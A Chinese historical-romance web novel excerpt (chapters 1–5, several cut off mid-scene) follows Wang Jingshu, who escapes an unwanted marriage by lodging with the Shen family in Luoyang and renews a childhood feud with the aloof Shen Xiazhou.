《卿卿知我意否?》 1. 第 1 章 《卿卿知我意否?》全本免费阅读 一夜雨后,洛水之上茫茫水汽漫如白雾,河岸上几个家仆不得不伸直了脖颈寻着建业来的船只。 不知是谁喊了一声“来了”,招呼着众人清开渡口道路,只见一艘阔而长的楼船破雾而出,停靠河岸。 被仆妇拥着下船的妇人美而婉,身旁跟着个四处张望好奇不止的男童,生得也是如观音坐下童子般惹人喜爱。 接船的管事是沈家多年的老仆,见着人连忙殷勤上前:“二姑奶奶,小的可算是接到你了,家中可是好等。” 被老仆唤作二姑奶奶的妇人正是沈家出嫁多年的沈风眠,虽出自二房,但其兄暂代大将军一职,且长房也无有个主事的长辈在府中,这管家的权也就都在二房。 故而,沈风眠遥遥的路途归京,底下有眼色的仆从自是多有殷勤。 这正要随着仆从的牵引上马车,还是身旁的小儿提醒了一声:“母亲,六姐姐还未下船。” 众人随着稚嫩的童音扭头望去,只见数丈高的楼船甲板上还有一女子,盈江而立,遥望来时方向。 风掠她衫裙纱帛,腰间素带也扬起翩跹的弧度,在白茫的水雾中便是看不见脸,也是那样的惊鸿动人。 王静姝最后看了一眼阔大得没有边际的水面,叹息一声,提着裙摆下了甲板。 她的步子大而轻盈,行姿风韵流动,长衣若飞,接船的仆众们还未及从她的相貌气度中回神,沈风眠便已拉着她的手上了马车。 “小叔母,你把闻礼忘了。”王静姝指着紧跟在后头爬上来的男童笑意不止。 沈风眠被她这一提醒,连忙扶起男童,还不忘回一句:“我瞧你还能笑得出,这是想开了?” “我如今人都躲到洛阳了,便是想不开也无法。”王静姝颓然地垮了垮肩,语气也有些无可奈何。 沈风眠扶着男童坐好,转过身去同王静姝说着宽慰的话:“洛阳是我自小长大的地方,这儿的气候虽不及建业舒适,但论繁华却是不差的。” “你多待上一段时日,便知晓了。” “小叔母,我并非担忧这个,而是担心父亲为我得罪了丹阳王。”王静姝道。 这时,沈风眠也沉默了,王家六娘子率真明丽,更是建业人人皆知的貌美,丹阳王有意拉拢南方士族扩大势力,看中了王静姝,要娶她为妻以同王家交好。 若是出于利益考虑,这不失为一个好联姻,王家只需用一个女儿便可同丹阳王交好,问题是,丹阳王这人已经死了三任王妃,他最大的孩子都同王静姝一般大了。 再则,王静姝的父亲王斐如虽只一心钻研书学,没什么务实的建树,声名却是极好的,还是个爱女如命的,王静姝是他亡妻留下唯一的孩子,怎么都是不能送她去跳火坑的。 可丹阳王又掌控着整个丹阳郡并扬州大半赋税,王家也不可能单为了一个女儿直接与其交恶,遂丹阳王才透出了些暗示,王斐如便未经过家中决议,急着送女儿躲了出去,还嘱托沈风眠替她在洛京寻一门好亲事避避。 洛阳为王都,是北方众多士族盘踞之所,也是各处想出仕亦或是游学的优秀儿郎所聚之处,其中以早年迁到洛阳的太原沈氏为之最。 由沈风眠看顾王静姝,王斐如最是放心不过。 沈风眠沉吟片刻道:“三伯兄性洁才高,一心修书论学,书画也多为时人推崇,丹阳王正是看中了三伯兄在南方士族中影响力,才对你起了心思,此计不成,便是心中不痛快,想来也是不会多有为难的。” 王静姝敷衍地点了点头,沈风眠说的这些,她其实也是知的,当下的世家大族皆讲究“闭门而为生之具以足”,庄园中不但养着从事生产的奴仆,有的还拥有自己的部曲,王家从祖上承下来的家业放到如今虽说不上多厉害,但该有的还是有的。 不过,这些并不足以作为丹阳王盯上王家的理由,丹阳王真正的目是借由对王氏的施压交好,打开南方士族归顺的局面,王斐如有才名,还刚好有个貌美女儿,这才被其选中。 王斐如落了丹阳王面子,丹阳王自然不忿,但只要他一日觊觎南方士族手中的力量,便一日不会打破这份和平,也不会主动对王家出手。 王静姝担忧的是日后,只希望丹阳王永远不要有成事那一日,也愿大伯多疼她一些,不要将她交出去。 她心底里,也还想着回建业,毕竟那是她自小生长的地方,亲眷好友也皆在建业,她半点也不想听父亲的话,在洛阳寻个亲事,洛阳再好,沈家再有权势,那也不是她的家。 这样的想法,让她半分没有听进沈风眠对沈家的介绍。 沈风眠讲了一会遂也放弃了,她这夫家的王六娘子,是个执拗的性子,与其同她说道,倒不如到时直接带她见人来的有用。 * 是日傍晚,余辉携树影,金光落满墙垣,大房守院的小厮,远瞧见自家郎君从园中行来,娴熟地往下做着安排。 一瞬的功夫,房中已燃起了新香,换上了热茶,更备好了沈遐洲换洗的衣物。 一进一出间,沈遐洲也换上一身纯色的常服,他静坐于案前,面容如暮霭尘烟般清逸,声也如泠泠清泉般透着股不经心的雅致:“我入宫这几日,府中可是有什么事发生?” 不怪他有这一问,今日归家,一路走来,府中家仆似乎个个都面带喜色,连他院中都不例外。 常负责照料他起居的小厮星泉,纳罕自家公子感觉的敏锐,交待道:“三郎,是二房那边的二姑奶奶带着小郎君回来了。” 沈遐洲怔愣一瞬,才想到星泉说的应该是他远嫁建业的堂姑沈风眠。 沈遐洲扫了一眼面露喜色的星泉,“你是得了什么好处?” 星泉嘻嘻一笑,“三郎哪的话,要说好处,这府中人人都得了好处呢,这打南边来的就是不一样的,出手阔绰得紧,听说光是金银玉器和绸缎就装了一大船,各个院落都分得了见面礼,那边还特地给三郎你送了一方端砚来,道是出自鲁大家之手。” 沈遐洲掠过了他喋喋不休的描述,略抬了眼,“我姑母还带了什么人来?” “三郎,你可真神了, 2. 第 2 章 《卿卿知我意否?》全本免费阅读 沈府东院,四角飞檐下琉璃灯随浅浅的夜风轻摇,室内更是数座人高的铜制灯树将满堂照得亮如白昼。 筵席直摆到了外头的水榭,沈家的几个年轻郎君和娘子皆围着王静姝,有同她闲话问着南地风光与饰物的,也有同她讲着弹棋规则的,玉色的棋子在她手指间迟疑地打着转,暖色流光映在她身上、脸上还有不断翻动的指尖,恍眼看去,端是如花堆月,丰盈动人。 王静姝并不怎么擅棋,对不同于南边玩法的弹棋更是陌生,她也惫得思索,身旁的几个郎君娘子如何指导,她便如何击打,甚至还有闲心观察这些人的神情,默默对着他们的名字与家世。 洛阳沈家本就是从太原迁来的嫡系,故而真正属于这两房的子侄并不多,在坐的也大都是旁系的子侄,亦或是同她这般借住的表亲。 没得见的沈家大郎沈遐光早已成亲,谋了个外放历练的差事,二郎沈遐元倒是好性子的人,她这般烂的棋和不定的心思,也能陪着玩许久。 她目光不由落在了沈遐元身上,年轻郎君长眉秀容,气态温雅,很是得人好感,同记忆中疏离冷淡的另一人全然不同。 “王表妹,到你了。”沈遐元温声提醒,只觉得这个新来的表妹也是个有趣的人,顾盼的双眸瞧着也不是个有定性的人,却偏能有一下没一下地同他弹棋对攻许久,是在等什么? 他不由有些猜测。 也是这时,凑在一起的娘子们忽地将目光都移向了一个方向,私语道:“三郎竟也来了?” “不是听闻他住在宫中吗?” …… 王静姝耳尖微动,清楚地从入耳的话中捕捉了“三郎”,原有些惫懒的神情转瞬迸出了些不一样的神采,跪坐的肩背也挺直了几分,明艳的眉眼更是流露出傲气,偏头瞧去的下颌也微微上扬。 只见被侍女引来的郎君广袖博带,清逸瘦长的身形行走间恍若玉山倾行。 从他出现的那一刻起,众人的视线便再难从他身上挪开。 沈遐洲俯眼看向热闹的人群,玉白面孔即便在烛光的映衬下,也是那样的不染尘埃,清黑的眼眸掠过人时,带着些漫不经心的冷。 像是凉薄,又像是不入眼的淡漠。 王静姝眉头稍拧一瞬,偏脸重新将目光落到棋盘上,心中略讽,沈遐洲的眼神真还是一如既往的惹人厌。 沈遐元也不落子了,目光在两人身上逡巡,甚觉得有些有趣,他三弟为沈家家主之子,母亲更是如今摄政的漱阳长公主,他们沈家这两房会迁都洛京也全概漱阳长公主之故,这些加持下,在洛京可以说,比沈家声名更显的是沈遐洲这个人。 以他对三弟的了解,一个迎姑母和毫无血缘关系表妹的夜宴,见过长辈便已算是全了礼数,这般明显刻意收拾过,较平日里还要风姿卓然地出现,很是不同寻常。 还有王家表妹,好似从刚才起,就焕发出像进入了某种战斗状态的精神? 有趣,真是有趣,沈遐元笑意更甚,起身同沈遐洲朗声招手道:“三郎,你来了,这是王家表妹,日后便住在我们府中了,你也来认识一下。” 沈遐洲慢慢走近,在同他们一步之隔的时候停下,“我们认识。” 他虽是回答沈遐元,双眼却是不错眼地盯着王静姝,又吐出一句:“王表妹的待客之道,我深刻至极。” “我倒忘了,三郎你曾在建业小住过一段时日。”沈遐元才想起这回事,更是引沈遐洲坐下:“你们既相识,那正好叙叙旧。” “王表妹初来府上,想来也有诸多不熟之处,三郎你明日若是得空,不如带王表妹逛逛园子?”沈遐元唇角噙笑,也不知想什么地乱安排。 沈遐洲睇了他一眼,目含警告,但对其提议并未直接拒绝,而是排列开己方的六枚棋子,也不见是如何动作,轻轻松松便撞开王静姝排列的棋门。 伴着棋子清脆的碰撞,沈遐洲道:“我自是愿意带表妹逛逛我沈氏的园子,只是怕表妹——”他略一停顿,才缓缓吐出余的二字:“不敢。” 王静姝陡地凝向沈遐洲,目中肆意着外人看不出的火光,从知要借住沈家,她便料到会与沈遐洲碰面,她想过会见面不识,也想过会被有意忽视,唯独没料到沈遐洲竟主动挑衅她。 她原本还能稳住的脾性和理智,转瞬便被挑动,手下动作快过思绪地做出了回应,弹棋无章法地回击着沈遐洲的黑子:“不过是逛园子,我有什么不敢的?” “倒是沈三郎,莫要连自家的园子都逛不动。” 沈遐洲眸色一滞,被她后一句奚落得沉下脸。 两人相对的目中锐意互不相让,原本挨着王静姝坐的几个沈家表妹都不由得往旁挪了挪,心中也对王静姝有了真正的认识,这王家娘子不愧是南边长大的,剽悍的民风连养出的貌美娘子也是个好战的。 不过仍有些不解,王娘子来自建业,染了那边剽悍的民风也就罢了,三郎平日是何等淡漠的郎君,怎也同王娘子一般争锋相对? 她们想不出结果,探究的目光再次落到隔着棋盘对坐的两人身上,只见两人皆肃脸不言,手下的棋子却你来我往地战个不停。 王静姝终归是吃了初学的亏,几次较量下来,她的棋子接连被击飞,她紧盯着棋盘,恨不得自己取代了棋子去厮杀。 沈遐洲将她的神情收入眼底,搭在桌面上的手,有一下没一下地轻点着,只有熟悉的人才知,三郎这是又心情不错了。 沈遐元在一旁看了许久,越发好奇两人以前到底有什么过节,他倒是挺想继续看下去,不过王家表妹初到府上,总不能让三郎将人欺负得狠了,这热闹嘛,还是细水长流地看才好。 他适时出手替王静姝指了个破招方向,王静姝依言击子,当真扳回了一局,她虽未言语道谢,但惊喜得扭头粲然一笑,目若有清水涟漪,本就灵气娇美的脸庞,转瞬显出几分惊心动魄的美艳来。 沈遐元怔愣一瞬,像是被她的美貌所摄,细细打量起这个先才还觉得面容有些稚嫩的表妹,洛京的美貌女郎并不少见,可美得出彩,美得如月如狐,轻而易举就能牵动人心的,他敢说整个洛京都寻不出一个来。 可他眼前的女郎,琼鼻玉面,皓齿朱唇,除却这个年龄特有的娇美,她身上还有一种不经意间流露的韵和艳,那韵难以捕捉,那艳勾得人心尖发痒。 他可真是看走了眼。 沈遐元目光还待下移,被一声棋子碰撞的脆响惊醒,偏眼便对上三郎沉郁的目色,不由稀奇,就这么一会的功夫,三郎就记恨上他了? 那到底是因他帮了王表妹,还是其他? 沈家二郎这人,瞧着是温煦有礼,但骨子里最是浪荡不羁,他只比三郎长两岁,自小就爱领着这个性子不太开朗的弟弟玩耍,或者说,是爱耍玩这个弟弟。 此刻,即便是瞧出了三郎心中不快,也无半点收敛,反还越发地寻着理帮王静姝对战弹棋,也得了王静姝一个又一个的笑靥和道谢。 沈遐洲面容雪静,再没有半分的笑意,在沈遐元又一次开口帮王静姝时,冷黑的瞳孔直锁沈遐元,“我同二哥许久没有手谈过,不若坐下同我比上一局,也方便初学的表妹观摩。” 他咬重了“初学”二字,这便是方才沈遐元一直用的借口,他也以此为由邀沈遐元对局,是不容拒绝的强硬。 沈遐元不得不坐下。 一盏茶不到的功夫,沈遐元六子皆输,他看着落败的棋盘,还有敛袖离去的身影,有些尴尬地同王静姝等人道:“我们家三郎胜负心比较强。” 王静姝极认同地点头,甚至还觉得沈二郎说的委婉了,沈遐洲这人哪里是胜负心强,分明是报复心强,年少时,她便见识过。 四年多前,沈遐洲因病需要修养,曾借住南地王家,那是她第一次见到北地来的郎君,少年郎君面容雪白,略有疲态,但姿仪甚雅,他独立在一干仆众之外,无焦距的黑眸满是脆弱的孤立感,一瞬 3. 第 3 章 《卿卿知我意否?》全本免费阅读 竹苓连唤了好几声,王静姝才终于有了动静,她微睁开一丝眼缝,判断着天色。 春末的时节天色亮得早,此刻天色朦亮,月色还未完全隐退,时辰明显还早。 她初断了一下自己睡了多久,嗓音略带初醒沙哑地问:“什么时辰了?” “刚过寅时。”竹苓道。 王静姝简直要被气笑了,合着她才睡了一个时辰多些? 竹苓不愧是跟着王静姝多年的,一看便知自家娘子想什么,要她说,这日后就住在沈宅了,园子哪日不得逛?娘子这才到沈家第二日,多处都还不习惯,昨日又夜宴同沈家的郎君娘子们相伴得巳时才散,夜里也睡得不太好,今日合该多歇歇。 她端了盏茶给王静姝润口道:“娘子不若多睡会,我去将那小仆打发了。” 王静姝就着茶盏饮了一口,摇了摇头,沈遐洲敢邀,她就敢应,她不但要应,她还要容光焕发地出现在他面前,好告诉告诉沈遐洲那样的病秧子,什么才叫健康的体魄。 瞧她迸出明烈好胜的眼神,竹苓便知劝不住了,叹息地去为她准备衣裳,这衣裳不用说,也是素净不了的,不但不能素净了,还必须能多夺目就多夺目。 娘子过往也不是这样斗气的人,可只要的同沈家三郎牵扯上,那就非要争个意气,她原以为沈三郎离开建业这般久,两人年少时的恩怨也早已放下,没想这才在同一府宅住下,娘子的好胜心就又冒了出来。 竹苓不由对接下来的日子充满了担忧。 王静姝换好衣裳从屏风后转出,开始坐定妆镜前,她容色无疑是出彩的,即便一夜未曾好眠,也只是让面容略显苍白,而这些微苍白更衬得她别样的纯美。 她望着镜中的自己蹙了眉,这没精神的苍白哪是她平日的模样,她翻着妆台,同为她施粉的侍女竹沥道:“上仔细些,红润些,华胜也为我戴上……” 竹沥一一照做,而门外先才替三郎来邀的星泉,还在被竹苓拉着喝茶,几杯茶下肚,他腹中撑得连忙摆手:“竹苓姐姐,我饮不下了,三郎那边也还等着,王娘子既然还在梳妆,我不如先去告知三郎一声,也好定个时辰。” 星泉心中也是叫苦,暗道三郎折腾人,哪有因没有约定逛园子的时辰,天光还没大亮就来邀的,人家远道来的女郎,先不说需要修整,就是梳妆换衣,哪个不是需要耗费功夫的? 三郎真是不懂体谅女郎,也难怪明明生得比二郎出色,却不比二郎受欢迎,府中的表姑娘们,哪个不是一开始冲着三郎来的,结果呢,三郎愣是睁眼瞎,不是嫌人脂粉呛人,就是嫌人声如鬼魅,若是在心中嫌弃也就罢了,他还当着人女郎的面直言,最后还是二郎去宽慰赔礼。 这位新来的表姑娘也不知道是怎么得罪的三郎,能让三郎惦记至今。 星泉正腹诽着要离去,从屋内踏步出来一个阔袖绕襟深衣女郎,她额坠华胜,乌发红带垂腰,绯红色的碧玺耳坠随着走动轻曳,她走在哪里,哪里便开出了一路明华暖色。 这般貌美女郎,就算星泉只是一介小厮,也知其人间少有。 他一边为王静姝带路,一边将自家郎君卖了:“王娘子,我家郎君脾性不好,有时候说话也不中听,你可多担待着些,若是他实在过分了,可以去寻二郎,府里其他的表姑娘刚借住府中时,也被我们三郎伤过心,但只要不主动往三郎跟前凑,我们三郎的脸还是赏心悦目的。” 星泉最后一句只差明示王静姝,要离三郎远一些,可又还记着三郎才是他主子,这才夸了一句容貌描补,并非是他想得太多,而是他跟在三郎身边好几年了,三郎主动约一个女郎逛园子,怎么瞧都透露着古怪,不像爱慕,也不像照顾,更像是寻得了机会要讨回什么? 他可是特意同曾跟随三郎去建业的护卫们打听了,都说三郎同王娘子的关系特别恶劣。 他一眼又一眼地瞧王娘子,这般美丽的女郎,又能做错什么呢,定然又是他们三郎的不是。 王静姝也发现了这年轻小仆一直偷偷打量她,对他好意的提醒,回以一笑,但心中如何想的,只有她自己知道,要她避开那是不可能的,她凭何要当逃的那个? 她从不逃避,也绝不向沈遐洲低头。 王静姝更昂了头,脚步有力得比星泉还快。 阳光斜入花林,斑驳光影闪烁浮照,沈遐洲透过掩映的花林,瞧见从长廊处绕出的女郎,她裙衫摇曳,发带飞扬,骄矜明艳一如往昔,也可恨一如往昔—— “你当姝儿妹妹真愿意照顾你吗?不过是听家中的话才带你。” “若不是六娘说你没有朋友,我们才不愿同你一起。” “北边来的,你会田猎吗?可别摔下马。” “沈九如,我真不该把你当好友!” …… 沈遐洲目色阴沉得紧,王静姝千不该万不该走近了他,又弃了他,更不该又闯入了他的地盘。 瞧着走至近前的美貌女郎,沈遐洲掩了扭曲的报复欲,朝她微微一笑,“表妹来了,府中住得可还习惯?” 本就俊美的年轻郎君一笑起来,是何等的风采,他像云月一样高邈,又像山水一般隽逸,王静姝在一刹那间,又听见了自己的心跳声,她压下如擂鼓的心跳,不断告诫自己莫要被虚假的皮囊引诱了,不要掉以轻心。 几个呼吸后,她才答道:“多谢三表哥关心,沈家待客周全,住得很是舒心,听闻表哥一早便在等我了,倒是我没有顾及表哥的身体易乏,确实该早些起身好避开午间的日头逛完园子。” 沈遐洲故意唤她早起,却还问她住得好不好,她便也回敬他身体不好,才要避开日头,她不去看沈遐洲那张会迷惑人的脸,对着花圃胜利地翘唇。 自然地,也没有瞧见沈遐洲恨不得杀了她的神情,王静姝,只有王静姝敢这样当面嘲他体弱,她到底是要将他体弱记多久? 压下心底横出的火气,面皮微抽地对王静姝侧身:“我带表妹熟悉下沈府。” “那便多谢表哥了。”王静姝礼貌道谢,表哥二字喊得尤为婉转柔和,隐有一丝因稳压沈遐洲一头的愉悦。 沈遐洲不由敛眉乜了她一眼,他们过往是从来不会唤彼此“表哥”亦或是“表妹”的,除了沈风眠这根纽带,他们本就半点亲缘都无,平白哥哥妹妹地喊,岂不是不自在,记忆中,半大的小女郎从一开始便同旁人一般喊他三郎,日日都来院外喊,后来更是过分地跑到了窗下喊。 而他,起初只知她是王家的六娘子,有时王斐如会宠溺地喊她姝儿。 如今他们之间称呼倒是变得亲近了,可关系属实是差到了极致。 不过是余光一瞥,便能瞧见王静姝在他身后嫌恶地皱鼻。 既这般厌恶,还要借住沈家作甚?就为了好借沈家的名头在洛京寻个亲事? 可真是难为她了。 沈遐洲容色 4. 第 4 章 《卿卿知我意否?》全本免费阅读 从离开建业那日起,沈遐洲便决定遗忘王家六娘子。 她是天上飞鸟,林间野鹿,即便跑得再远,对偶得的伙伴再热情,也还是会回到原本的族群同伴中。 她喜时,待他热情如春,她不喜时,便可轻易弃他。 沈遐洲厌恶她四散的热情,厌恶她浅薄的喜欢,更厌恶她总是有很多更在意的人。 王静姝是个处处令他不喜的女郎,他是这样想的,所以他离开的毫不留恋。 可经年过去,再听得王六娘子这人,他仍心有不甘,下意识地想让她后悔,见她低头,他如此盛装去了夜宴,见到了王静姝,她变了又好似没变。 王家的六娘子,仍旧那般惹人喜爱,她如花堆月一般被人围坐笑语,视线同他相触间,平和又冷淡。 她凭何先冷淡,又凭何先忘却? 鸷意在胸腔疯涨,他做出自己都难料的举动,似只有激她欺她方可觉得舒畅。 可如此做后,他仍旧觉得不痛快。 日光下的俊美郎君,容色几多变化,他一会想:“我该离她远一些。”一会又想:“是她先来招惹我的,我已放过她一次,我该杀了她。” * 王静姝并不知她记忆中的体弱郎君,心中几多偏执诡异思量,她拖着酸疼的身体往回走着,满腔愤怒,若是在建业—— 若是在建业,她非要真带人将他揍一顿,才可消此番作弄。 怒余,她又恼自己怎就这般死性不改,怎就这般容易被激,来时不就决定,要同沈三郎保持距离吗? 怎一见了人就忘光了呢? 她停顿脚步敲了敲脑袋。 * 日头在日渐升高,远在二门廊柱下的沈家二郎,还在一边与家中表妹闲聊,一边等着三郎带王表妹路过,好亲眼瞧一瞧仆从说的“健步如飞”。 左等右等,只等到了急跑来报的小厮:“二郎,不好了,三郎将王娘子弄丢了。” “弄丢了?”沈遐元惊得立直了身子,语气几多严肃:“怎么回事?” “三郎同王娘子走得太快,王娘子的侍女皆未跟上,结果久不见娘子回来,四下打问,才发现三郎早就回了听松居,她们寻三郎要人,三郎将她们赶了出去,让她们自己寻去。” “眼下都快晌午了,还没寻到人,二姑奶奶和夫人那里都被惊动了。” 沈遐元听小厮说的当口,急得在原地打了个转,这三郎,纵是同王表妹有什么天大的过节,也不能将人弄丢了啊,沈遐元一边急得向外走,一边继续问小厮:“人是在哪丢的?” “府里这么多人,就没有瞧见了的?” 小厮答不上来,沈遐元摇摇头也不指望了,快步走向外院:“同我去问问三郎。” 而此时的听松居中,星泉也是坐立难安,心中既忌讳着三郎不许,又担忧着那位王娘子,他迟迟疑疑地反复在沈遐洲的眼前走动,“三郎,沈府就这般大,你说王娘子能去哪?” 他问得多有委婉,可那眼神却多有怀疑,简直像在问:当真不是你将王娘子弄丢的吗? 沈遐洲似被他叨晃得不耐烦,“啪”地放下书,朝外走去。 “三郎,你这要去哪?”星泉疾步追出,空荡荡的庭院哪还有人,不由嘟囔,“三郎果然还是良善的,这不,为了寻王娘子,连轻功都用上了。” 复而又有些不确定:“三郎应是去寻王娘子的吧?” * 沈遐洲重新寻回了同王静姝分开的地方,四下林木葱郁,只有一条青石板道,一端通向大路池塘,一端通向西书阁。 沈遐洲凝着两端方向,清楚记得他当时是将王静姝带离西书阁方向,而王静姝从他身旁过,走的也是通向大路的池塘方向。 按分开的时间算,王静姝便是走得再慢,也早该被人寻到,除非,她自己困在了某个地方走不出去。 沈家的格局并不复杂,但也确实存在一两处会让人迷失的所在,西书阁正是其一,沈家家主沈照曾与漱阳长公主分居,自囚西书阁,为拒漱阳长公主的打扰,以西书阁为阵点,辅八方假山竹林石道为八卦走势,若是初来的外人,恐怕就是走上半天也走不出去。 而很不巧的是,过池塘水廊,恰能绕入西书阁外八方走势的范围内。 沈遐洲暗道一句麻烦,还是走向了西书阁。 越沿小道往里走,绿荫越盛,肆意生长的高木掩着一座两层的小楼,不像是书阁,更像是一处幽静的居所,四周留下的痕迹也不像是有人常来打扫的,也不怪下人疏忽,而是大房这一脉实在人少,漱阳长公主如今只居在宫中,家主沈照也早已搬离洛京,两人的独子沈遐洲也不是个对父亲往日旧居上心的,会带王静姝逛到西书阁外,也全然是巧合。 又行了一会,树影婆娑下,沈遐洲终于瞧见了那个被他“弄丢”的王六娘子。 女郎长裙曳地,半身靠着书阁檐外的廊柱,美眸闭着,唇脂也淡得只剩下一层粉意,往日总是朝气明媚的人,竟透出些怜弱来。 可再走近一些,便能听到女郎绵长的呼吸声。 沈遐洲笑意浅淡,带着几分果然如此的嗤鼻,他恶意地倾身靠近王静姝,俯眼观察着王静姝,若是此刻将她惊醒,会是如何形容? 尖叫?亦或是惊恐? 细碎的日光穿透密匝的林荫,也越过沈遐洲的肩头,落在了王静姝的裙裾乃至脸庞上,光影在她身上如水一般波动,既晃人眼,又好似融入她雪玉一般的肌容。 她不动时,倒是格外宁静。 沈遐洲视线懒洋洋、慢悠悠地一寸一寸从王静姝脸上挪开,直起身子,背向王静姝而立,不时瞥上一眼,见她毫无要醒的迹象,眉心拧得更甚,这般处境她竟也能睡得着? 王静姝实在累极,愣是谁舟车劳顿后又彻夜不得眠,都是会疲困的,再加上她还同昔日的死对头较劲,一双腿都快要走折在了沈府,此刻就算是在个不知名的林子里,她也是要寻个荫蔽的大树靠着歇歇的。 似是洒落的碎光晃得她梦中都不安生,她靠着廊柱的肩头躲避地蹭了蹭。 沈遐洲陡地凝了目光,手不自觉地伸出,却见某 5. 第 5 章 《卿卿知我意否?》全本免费阅读 王静姝奇怪地仰了仰头,她刚好像听到书阁楼上有动静? 可这里分明没人,甚至连门都是推不开的,她一早就试过了。 想到这,王静姝就免不了气愤,这鬼地方,她偏要走出去寻沈遐洲好好算算帐,几下将鞋袜重新穿好,细细辨着她之前未走过的地方,寻定一个方向,毫不犹豫地抬步走向。 书阁二楼的小窗又开了些许,沈遐洲凝着她坚定又踉跄的背影,唇角略抽,她这走法,就是再走上一日也出不去。 担心不过一瞬,好耳力地听到了从远处传来的寻唤声,看来是府中的人终于寻来了。 沈遐洲关了窗,从另一侧离开了书阁,他离开得很快,从头到尾王静姝都没有发觉那个害她如此的郎君又出现过,她只有所感地扭头望了一眼飒飒而动的树枝,随即便被从远处传来的找寻声吸引了,迅速调整了方向,回应着寻来之人。 沈二郎几乎是调动了府中所有奴仆,还亲自去了一趟听松居寻人,后才联想到可能将人困住的西书阁,此刻见到走路都困难的王静姝,心中多有歉意,“表妹可还好?” 见寻来的沈遐元满脸关怀,王静姝也不是不讲理的人,没有迁怒,反先记得道谢:“我还好,多谢二表哥带人来寻我。” 她相貌姣好,眸子水润,淡去的妆容更显出有些苍白的肤色,既娇弱,又带一种天然的明媚艳色,多好的表妹啊,三郎怎舍得欺负? 把人困在这样走不出去的园子里,他这个当哥哥的都看不过眼,他同王静姝保证道:“表妹放心,今日这事,我定让三郎给你个交代。” 交代?能给她一个外姓人给什么交代? 无非就是道歉之类的揭过罢了。 王静姝心里明镜似的,便也不多说什么,只乏累地点了点头。 回到流虹院,她便再也撑不住地往榻上倒,全身酸痛,竹苓为她备水洗漱,竹沥也是个细心的,知道娘子走了许久的路,为她脱了鞋袜检查。 还不待竹沥检查得仔细,趴在枕上的王静姝先开了口:“磨出了两个水泡,等晚些时候挑了再上药。” 她语气恹恹,但有着对如何处理这种水泡有种说不出的熟稔。 她母亲因病早逝,从记事起,她见过的便只有母亲的画像,画中女子或立或坐,神态或柔或嗔,但无一不美,所有的画都出自她父亲王斐如之手,当她父亲想念母亲之时,便会抱着她一同看那些画像,她年幼不懂什么是天人永隔,只觉对画中女子有种说不出的亲近,想同她更接近一些,她会仿画中母亲起舞动作,问父亲她学得像不像。 后来,她再大一些,便开始学舞了,那会让她有种母亲陪伴在侧的感觉。 习舞的过程并非都是有趣的,起初的时候,她常常因动作的不准确,力道的把握错误,将自己双脚折腾出水泡,次数多了,不单是身边的侍女,就连她自己也知如何处理了。 比起这种不足以让她放在心上的小伤,她更气不过的是沈遐洲这人,如何想都咽不下这口恶气。 她那恨不得咬人一口的神情,落入了备好水来请她的竹苓眼中,能让自家娘子露出这般神情的,除了沈三郎还能有谁? 竹苓扶着王静姝到净室中沐浴,还是劝说了几句:“娘子,洛京不比建业,沈三郎的身份也非一般士族可比,这吃了亏我们也寻不到说理的处去,娘子日后还是莫要与沈三郎过不去了。” 这话也就只有比王静姝年长,如同姐姐一般从小照顾王静姝的竹苓敢说,她是真担心自家娘子为了意气之争吃了更大的亏。 “哪里是我同他过不去,分明是他要来招惹我。”提起这个,本没什么气力泡着澡的王静姝忽地有了气力反驳。 竹苓彻底无奈了,感情她家娘子只听进去了最后一句。 好半响,王静姝洗去了一身疲乏,脚底水泡也处理上过药,这才移步用午膳。 许是早膳就没用的缘故,此刻面对丰盛的午膳,她的肠胃也一时难以接受,只简单用了一些羹汤便让人撤下。 也是这时,突然有稚童喊着“六姐姐”地跑来,后头紧跟着他的奶母,再后头是侍女簇拥着的沈风眠。 眼看稚童就要扑到身前,王静姝手极快地阻了阻,止住了他向前的冲劲,王闻礼是沈风眠的幼子,也是王静姝最小的堂弟,瞧着不大的人儿,却一身的牛劲,王静姝的脚才上了药,行动不便,可经不住他的一扑。 王静姝都还没嫌王闻礼撞得她手腕疼,王闻礼倒先哭哭啼啼起来,“六姐姐,我们回建业吧。” “我听侍女们说连六姐姐你都被府里的表哥欺负了,这里真不能待了……” 才七岁大的人儿,抹着泪地担心人,道要带她走,王静姝被他感动得心都软了,还是沈风眠将他提溜得离王静姝远了些道:“别听这小魔星胡说,他是自己想逃。” “立好了。”沈风眠面上难得有了厉色,斥得王闻礼再不敢同王静姝哭诉。 原是王闻礼在来洛京的一路上耽搁了不少的功课,沈风眠今日带他访了沈家族学中的一些先生,接受了不少校考,他多有答不上来,便生了想回家的心,又听得侍女来同沈风眠道王静姝被沈家的表哥给弄丢了,更是鬼精地想要拉王静姝一同回建业。 沈风眠坐下有些头痛地扶着额:“先不说闻礼了,你同三郎又是怎么回事?” 王静姝有些心虚地避开了沈风眠的视线,沈风眠才堪堪三十的年岁,人又温柔,是所有长辈中王静姝最喜爱的一个叔母,若是几年前,她还是个半大的娘子,自是什么都愿同沈风眠说,甚至求沈风眠帮她做主,可如今都这般大了,她实在无法对着是长辈的沈风眠告状,也无法同回应竹苓那般道“是他来招惹我的”。 若那么做了,和王闻礼这样哭鼻子的稚子有什么区别?想着,她看了一眼蕴着泪委屈立在一旁的小堂弟,更是觉得没必要说得详尽。 她只道:“同表哥没有关系,是我想走回流虹院,寻不到路,被困在了一园子中。” 沈风眠眸中闪过一丝惊讶,只觉六娘经丹阳王一事,真长大了不少,竟懂得收敛锋芒了,她笑了笑,问清是哪处园子,又是怎么误入的,终于放心了地道:“那确实是误入了,那处池子是后挖的,有意勾连了西书阁,你不识路,也不怪你绕进了那里头。” 王静姝现在想来,仍旧觉得那困住她的格局真是稀奇古怪,她瞧着是近路以为能抄出去的水上回廊,直把她送入了更复杂的困阵中,好好的园子,怎这般布置? 她犹在奇怪,还不待问出口,沈风眠轻拍着她手嘱咐道:“你这几日便别乱跑了,将脚伤养好,我联系些旧日的姐妹,过几日正好带你出去赴宴,待多认识些洛京的郎君女郎,便也同在建业时没什么不同了。” 沈风眠还记挂着王静姝父亲的嘱托,替王静姝在洛京寻一门亲事,但她怕王静姝心有排斥,故而也不提这事,只道多带她去交友,顺带也避开府中的郎君。 倒不是她不愿自己娘家的侄儿同王静姝交好,而是就今日发生的事,还有外头侍女们传来的消息看,王静姝和三郎也不是能好好相处的,便是王静姝口中不说,她也能察觉两人心中的芥蒂并未消。 沈风眠实在是不愿回想起几年前,两人在她面前剑拔弩张得要打起来的模样,一个质问“是你让人将我好友推入水中?”,一个毫不避让解释地承认。 明明是半大的小郎君和小女郎,却有一堆越滚越大的糊涂账,碍于沈遐洲的身份和待客 6. 第 6 章 《卿卿知我意否?》全本免费阅读 